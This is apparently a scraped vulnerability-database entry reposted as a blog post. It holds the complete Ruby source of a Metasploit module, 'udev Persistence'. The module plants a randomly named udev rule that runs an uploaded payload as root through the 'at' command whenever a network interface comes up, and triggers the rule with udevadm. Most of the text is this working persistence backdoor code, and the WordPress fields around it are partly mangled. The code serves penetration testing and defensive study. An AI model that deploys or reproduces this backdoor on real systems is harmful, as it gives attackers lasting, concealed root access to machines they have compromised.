{“lastseen”:”2026-01-09T19:04:56″,”description”:”This module will add a script in \/lib\/udev\/rules.d\/ in order to execute a payload written on disk. It’ll be executed with root privileges everytime a network interface other than l0 comes up. Execution is triggered through at command, so it must be…”,”published”:”2026-01-09T18:58:38″,”modified”:”2026-01-09T18:58:38″,”type”:”metasploit”,”title”:”udev Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-UDEV-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n\\n Rank = GreatRanking\\n\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/linux\/local\/udev_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘udev Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will add a script in \/lib\/udev\/rules.d\/ in order to execute a payload written on disk.\\n It’ll be executed with root privileges everytime a network interface other than l0 comes up.\\n Execution is triggered through at command, so it must be installed on the target.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Julien Voisin’\\n ],\\n ‘Platform’ =\\u003e [ ‘unix’, ‘linux’ ],\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘\\\\n\\”‘\\n },\\n ‘SessionTypes’ =\\u003e [ ‘shell’, ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [ [‘Automatic’, {}] ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e true,\\n ‘DisclosureDate’ =\\u003e ‘2003-11-01’, # udev release date\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n },\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/www.aon.com\/en\/insights\/cyber-labs\/unveiling-sedexp’],\\n [‘URL’, ‘https:\/\/ch4ik0.github.io\/en\/posts\/leveraging-Linux-udev-for-persistence\/’],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1546_017_UDEV_RULES]\\n ]\\n )\\n )\\n register_options([\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n OptString.new(‘UDEV_PATH’, [false, ‘Path to udev’, ‘\/lib\/udev\/rules.d\/’]),\\n OptString.new(‘UDEV_RULE’, [false, ‘Rule name for udev. Defaults to random’]),\\n ])\\n end\\n\\n def check\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n return CheckCode::Safe(\\”#{writable_dir} isnt writable\\”) unless writable?(writable_dir)\\n return CheckCode::Safe(\\”#{datastore[‘UDEV_PATH’]} doesnt exist\\”) unless exists?(datastore[‘UDEV_PATH’])\\n return CheckCode::Safe(\\”#{datastore[‘UDEV_PATH’]} isnt writable\\”) unless writable?(datastore[‘UDEV_PATH’])\\n\\n return CheckCode::Safe(‘at commmand not found’) if get_at_command(”).nil?\\n\\n CheckCode::Appears(‘likely exploitable’)\\n end\\n\\n def get_at_command(payload_path)\\n return nil unless executable? ‘\/usr\/bin\/at’\\n\\n %(\/usr\/bin\/at -M -f #{payload_path} now)\\n end\\n\\n def install_persistence\\n udev_rule = datastore[‘UDEV_RULE’].blank? ? %(#{Rex::Text.rand_text_numeric(2)}-#{Rex::Text.rand_text_alphanumeric(8)}.rules) : datastore[‘UDEV_RULE’]\\n backdoor_path = \\”#{datastore[‘UDEV_PATH’]}\/#{udev_rule}\\”\\n payload_path = \\”#{writable_dir}\/#{(datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alphanumeric(5..10))}\\”\\n\\n if exists? backdoor_path\\n fail_with Failure::BadConfig, \\”#{backdoor_path} is already present\\”\\n end\\n\\n if payload.arch.first == ‘cmd’\\n upload_and_chmodx(payload_path, \\”#!\/bin\/sh\\\\n#{payload.encoded}\\”)\\n else\\n payload_path = writable_dir\\n payload_path = payload_path.end_with?(‘\/’) ? backdoor_path : \\”#{backdoor_path}\/\\”\\n payload_name = datastore[‘PAYLOAD_NAME’] || rand_text_alphanumeric(5..10)\\n payload_path \\u003c\\u003c payload_name\\n print_status(\\”Uploading payload file to #{payload_path}\\”)\\n upload_and_chmodx payload_path, generate_payload_exe\\n end\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_path}\\\\n\\”\\n\\n print_good \\”#{payload_path} written\\”\\n\\n fail_with(Failure::PayloadFailed, ‘Failed to write UDEV file’) unless write_file(backdoor_path, %(SUBSYSTEM==\\”net\\”, KERNEL!=\\”lo\\”, RUN+=\\”#{get_at_command(payload_path)}\\”))\\n @clean_up_rc \\u003c\\u003c \\”rm #{backdoor_path}\\\\n\\”\\n\\n print_good \\”#{backdoor_path} written\\”\\n\\n # need to trigger first rule manually\\n print_status ‘Triggering udev rule’\\n cmd_exec(‘udevadm trigger -v –subsystem-match=net’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/udev.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/udev\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-09T19:04:56″,”description”:”This module will add a script in \/lib\/udev\/rules.d\/ in order to execute a payload written on disk. It’ll be executed with root privileges everytime a…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-34942","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n